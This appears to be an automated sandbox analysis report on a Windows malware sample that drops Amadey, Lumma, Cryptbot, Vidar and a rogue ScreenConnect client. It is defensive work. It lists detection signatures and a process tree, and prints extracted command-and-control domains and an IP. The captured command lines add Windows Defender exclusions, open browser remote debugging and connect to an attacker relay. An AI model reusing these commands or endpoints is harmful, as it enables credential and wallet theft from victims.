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Windows
Analysis Report
file.exe
Overview
General Information
Detection
ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Attempt to bypass Chrome Application-Bound Encryption
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Amadeys stealer DLL
Yara detected AntiVM3
Yara detected Cryptbot
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Vidar stealer
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
C2 URLs / IPs found in malware configuration
Contains functionality to hide user accounts
Enables network access during safeboot for specific services
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
Injects a PE file into a foreign processes
Leaks process information
Loading BitLocker PowerShell Module
LummaC encrypted strings found
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies security policies related information
Monitors registry run keys for changes
PE file contains section with special chars
PE file has a writeable .text section
Performs DNS queries to domains with low reputation
Possible COM Object hijacking
Potentially malicious time measurement code found
Query firmware table information (likely to detect VMs)
Reads the Security eventlog
Reads the System eventlog
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Remote Access Tool - ScreenConnect Suspicious Execution
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Yara detected Costura Assembly Loader
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks for available system drives (often done to infect USB drives)
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to call native functions
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Creates or modifies windows services
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Modifies existing windows services
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
PE file overlay found
Queries disk information (often used to detect virtual machines)
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Sigma detected: Browser Started with Remote Debugging
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Powershell Defender Exclusion
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara detected ScreenConnect Tool
Classification
- System is w10x64
- file.exe (PID: 5900 cmdline:
"C:\Users\ user\Deskt op\file.ex e" MD5: DAC73E7813DC3500E5F677B5F31191DF) - skotes.exe (PID: 5360 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\abc3bc 1985\skote s.exe" MD5: DAC73E7813DC3500E5F677B5F31191DF)
- skotes.exe (PID: 4368 cmdline:
C:\Users\u ser\AppDat a\Local\Te mp\abc3bc1 985\skotes .exe MD5: DAC73E7813DC3500E5F677B5F31191DF)
- skotes.exe (PID: 5024 cmdline:
C:\Users\u ser\AppDat a\Local\Te mp\abc3bc1 985\skotes .exe MD5: DAC73E7813DC3500E5F677B5F31191DF) - NN9Dd7c.exe (PID: 1592 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\101766 6001\NN9Dd 7c.exe" MD5: 04F57C6FB2B2CD8DCC4B38E4A93D4366) - conhost.exe (PID: 5040 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 3328 cmdline:
"powershel l.exe" Add -MpPrefere nce -Exclu sionPath " C:\aqhnzja " MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 3728 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 5192 cmdline:
"powershel l.exe" Add -MpPrefere nce -Exclu sionPath " C:\Program Data" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 2532 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - 20eec459fe6c4c019b42190414a26a1f.exe (PID: 6756 cmdline:
"C:\aqhnzj a\20eec459 fe6c4c019b 42190414a2 6a1f.exe" MD5: CC36E2A5A3C64941A79C31CA320E9797) - chrome.exe (PID: 5808 cmdline:
"C:\Progra m Files\Go ogle\Chrom e\Applicat ion\chrome .exe" --re mote-debug ging-port= 9223 --pro file-direc tory="Defa ult" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92) - chrome.exe (PID: 4920 cmdline:
"C:\Progra m Files\Go ogle\Chrom e\Applicat ion\chrome .exe" --ty pe=utility --utility -sub-type= network.mo jom.Networ kService - -lang=en-U S --servic e-sandbox- type=none --mojo-pla tform-chan nel-handle =2392 --fi eld-trial- handle=216 8,i,124954 4519785129 5823,16602 8980734387 06142,2621 44 /prefet ch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92) - msedge.exe (PID: 8080 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \msedge.ex e" --remot e-debuggin g-port=922 3 --profil e-director y="Default " MD5: BF154738460E4AB1D388970E1AB13FAB) - msedge.exe (PID: 6884 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \msedge.ex e" --type= utility -- utility-su b-type=net work.mojom .NetworkSe rvice --la ng=en-GB - -service-s andbox-typ e=none --m ojo-platfo rm-channel -handle=26 08 --field -trial-han dle=2460,i ,104259339 3239857759 1,16914703 8803632066 91,262144 /prefetch: 3 MD5: BF154738460E4AB1D388970E1AB13FAB) - 1156a90bbe2d483ebd285d59075df6eb.exe (PID: 3544 cmdline:
"C:\aqhnzj a\1156a90b be2d483ebd 285d59075d f6eb.exe" MD5: 971B0519B1C0461DB6700610E5E9CA8E) - f4d805b7c6.exe (PID: 364 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\101767 5001\f4d80 5b7c6.exe" MD5: EF08A45833A7D881C90DED1952F96CB4) - f4d805b7c6.exe (PID: 2388 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\101767 5001\f4d80 5b7c6.exe" MD5: EF08A45833A7D881C90DED1952F96CB4) - f4d805b7c6.exe (PID: 2384 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\101767 5001\f4d80 5b7c6.exe" MD5: EF08A45833A7D881C90DED1952F96CB4) - f4d805b7c6.exe (PID: 6932 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\101767 5001\f4d80 5b7c6.exe" MD5: EF08A45833A7D881C90DED1952F96CB4) - ga70pjP.exe (PID: 320 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\101768 0001\ga70p jP.exe" MD5: C9EC8EA582E787E6B9356B51811A1CA7) - msiexec.exe (PID: 2136 cmdline:
"C:\Window s\System32 \msiexec.e xe" /i "C: \Users\use r\AppData\ Local\Temp \ScreenCon nect\24.3. 7.9067\98a 59bd0eed92 22b\Screen Connect.Cl ientSetup. msi" MD5: 9D09DC1EDA745A5F87553048E57620CF) - 54ad0685cd.exe (PID: 6696 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\101768 2001\54ad0 685cd.exe" MD5: FF279F4E5B1C6FBDA804D2437C2DBDC8) - 3d9e1171bb.exe (PID: 7900 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\101768 3001\3d9e1 171bb.exe" MD5: 44D829BE334D46439BDDC6DFAB13A937) - 91f4c82194.exe (PID: 8604 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\101768 4001\91f4c 82194.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA) - cmd.exe (PID: 9036 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\App Data\Local \Temp\main \main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 9044 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- svchost.exe (PID: 7124 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- svchost.exe (PID: 6276 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- svchost.exe (PID: 6236 cmdline:
C:\Windows \system32\ svchost.ex e -k Local Service -p -s BthAvc tpSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- msiexec.exe (PID: 2320 cmdline:
C:\Windows \system32\ msiexec.ex e /V MD5: E5DA170027542E25EDE42FC54C929077) - msiexec.exe (PID: 5112 cmdline:
C:\Windows \syswow64\ MsiExec.ex e -Embeddi ng 6BEA3CD A60BB479BD 6134249EBA 64259 C MD5: 9D09DC1EDA745A5F87553048E57620CF) - rundll32.exe (PID: 5612 cmdline:
rundll32.e xe "C:\Use rs\user\Ap pData\Loca l\Temp\MSI A043.tmp", zzzzInvoke ManagedCus tomActionO utOfProc S fxCA_39733 43 1 Scree nConnect.I nstallerAc tions!Scre enConnect. ClientInst allerActio ns.FixupSe rviceArgum ents MD5: 889B99C52A60DD49227C5E485A016679) - msiexec.exe (PID: 7148 cmdline:
C:\Windows \syswow64\ MsiExec.ex e -Embeddi ng 62663BE 67B089F326 4AF2C8AE57 ABC03 MD5: 9D09DC1EDA745A5F87553048E57620CF) - msiexec.exe (PID: 1672 cmdline:
C:\Windows \syswow64\ MsiExec.ex e -Embeddi ng 51F8758 23EBE9D039 049F5CCE08 F98AE E Gl obal\MSI00 00 MD5: 9D09DC1EDA745A5F87553048E57620CF)
- ScreenConnect.ClientService.exe (PID: 2300 cmdline:
"C:\Progra m Files (x 86)\Screen Connect Cl ient (98a5 9bd0eed922 2b)\Screen Connect.Cl ientServic e.exe" "?e =Access&y= Guest&h=gi ps620.top& p=8880&s=3 3bf1e56-ac 31-4776-92 e6-865a919 76f78&k=Bg IAAACkAABS U0ExAAgAAA EAAQDpOwIV y34yVx7xLD nH6rBeYx7m miLN2yQyIY dJTxYIVHOs ytxx89D0YK oH68EoEXTo TuDpMmwJb% 2bhrlJ3faN FTpvu7W8w3 %2fxYUdeWu XWg%2bTQxX r6EWby912n ykdroWfBxD x6Lmxg1gxG gRJHC8Oc96 zV%2fiaqo5 GlyagtszKk rbPOWW4FBV QPXhlUfH4m lFE0i0vcMx GginTYl8Ij GBzr94ANeA Xwajoe9Cja m2haoL%2f% 2bgHMtFYBZ JisALFnyX3 zECpRv7vqW zNAQJYIqY6 qDuC2lEbs0 NtuBMSfQRW 1t0ZOk7cEz uQjq72QbWf 1bR8rZf%2b 0t3VNSgkIU cBljvpSRK7 &c=VIRUS10 1&c=https% 3a%2f%2ft. me%2fvirus 101Screenc onnect&c=P C%20RAT&c= PC%20RAT&c =&c=&c=&c= " MD5: 75B21D04C69128A7230A0998086B61AA) - ScreenConnect.WindowsClient.exe (PID: 3796 cmdline:
"C:\Progra m Files (x 86)\Screen Connect Cl ient (98a5 9bd0eed922 2b)\Screen Connect.Wi ndowsClien t.exe" "Ru nRole" "81 374bf4-516 1-4e78-906 2-2622505d d25b" "Use r" MD5: 1778204A8C3BC2B8E5E4194EDBAF7135) - ScreenConnect.WindowsClient.exe (PID: 6548 cmdline:
"C:\Progra m Files (x 86)\Screen Connect Cl ient (98a5 9bd0eed922 2b)\Screen Connect.Wi ndowsClien t.exe" "Ru nRole" "07 1e1d02-2de d-441e-a21 6-a8295fcf c66b" "Sys tem" MD5: 1778204A8C3BC2B8E5E4194EDBAF7135)
- msedge.exe (PID: 2780 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \msedge.ex e" --remot e-debuggin g-port=922 3 --profil e-director y=Default --flag-swi tches-begi n --flag-s witches-en d --disabl e-nacl --d o-not-de-e levate MD5: BF154738460E4AB1D388970E1AB13FAB) - msedge.exe (PID: 7344 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \msedge.ex e" --type= utility -- utility-su b-type=net work.mojom .NetworkSe rvice --la ng=en-GB - -service-s andbox-typ e=none --m ojo-platfo rm-channel -handle=20 52 --field -trial-han dle=1972,i ,120485074 8843526675 9,14562112 1676401792 83,262144 /prefetch: 3 MD5: BF154738460E4AB1D388970E1AB13FAB) - msedge.exe (PID: 8792 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \msedge.ex e" --type= utility -- utility-su b-type=ass et_store.m ojom.Asset StoreServi ce --lang= en-GB --se rvice-sand box-type=a sset_store _service - -mojo-plat form-chann el-handle= 5412 --fie ld-trial-h andle=1972 ,i,1204850 7488435266 759,145621 1216764017 9283,26214 4 /prefetc h:8 MD5: BF154738460E4AB1D388970E1AB13FAB) - msedge.exe (PID: 8800 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \msedge.ex e" --type= utility -- utility-su b-type=ent ity_extrac tion_servi ce.mojom.E xtractor - -lang=en-G B --servic e-sandbox- type=entit y_extracti on --onnx- enabled-fo r-ee --moj o-platform -channel-h andle=6832 --field-t rial-handl e=1972,i,1 2048507488 435266759, 1456211216 7640179283 ,262144 /p refetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Lumma Stealer, LummaC2 Stealer | Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. | No Attribution |
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Amadey | Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. | No Attribution |
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
CryptBot | A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2. | No Attribution |
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Vidar | Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser. | No Attribution |
{"C2 url": ["energyaffai.lat", "aspecteirs.lat", "cheapptaxysu.click", "sustainskelet.lat", "discokeyus.lat", "rapeflowwj.lat", "crosshuaht.lat", "grannyejh.lat", "necklacebudi.lat"], "Build id": "CZJvss--"}
{"C2 url": "http://www.microsoft.com0", "Botnet": "1402"}
{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Cryptbot | Yara detected Cryptbot | Joe Security | ||
JoeSecurity_Vidar_1 | Yara detected Vidar stealer | Joe Security | ||
JoeSecurity_LummaCStealer_3 | Yara detected LummaC Stealer | Joe Security | ||
JoeSecurity_LummaCStealer_2 | Yara detected LummaC Stealer | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_ScreenConnectTool | Yara detected ScreenConnect Tool | Joe Security | ||
JoeSecurity_ScreenConnectTool | Yara detected ScreenConnect Tool | Joe Security | ||
JoeSecurity_ScreenConnectTool | Yara detected ScreenConnect Tool | Joe Security | ||
JoeSecurity_Vidar_1 | Yara detected Vidar stealer | Joe Security | ||
JoeSecurity_ScreenConnectTool | Yara detected ScreenConnect Tool | Joe Security | ||
Click to see the 8 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
JoeSecurity_Amadey_2 | Yara detected Amadey\'s stealer DLL | Joe Security | ||
JoeSecurity_Amadey_2 | Yara detected Amadey\'s stealer DLL | Joe Security | ||
JoeSecurity_Amadey_2 | Yara detected Amadey\'s stealer DLL | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
Click to see the 34 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Vidar_1 | Yara detected Vidar stealer | Joe Security | ||
JoeSecurity_Vidar_1 | Yara detected Vidar stealer | Joe Security | ||
JoeSecurity_ScreenConnectTool | Yara detected ScreenConnect Tool | Joe Security | ||
JoeSecurity_ScreenConnectTool | Yara detected ScreenConnect Tool | Joe Security | ||
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
Click to see the 12 entries |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |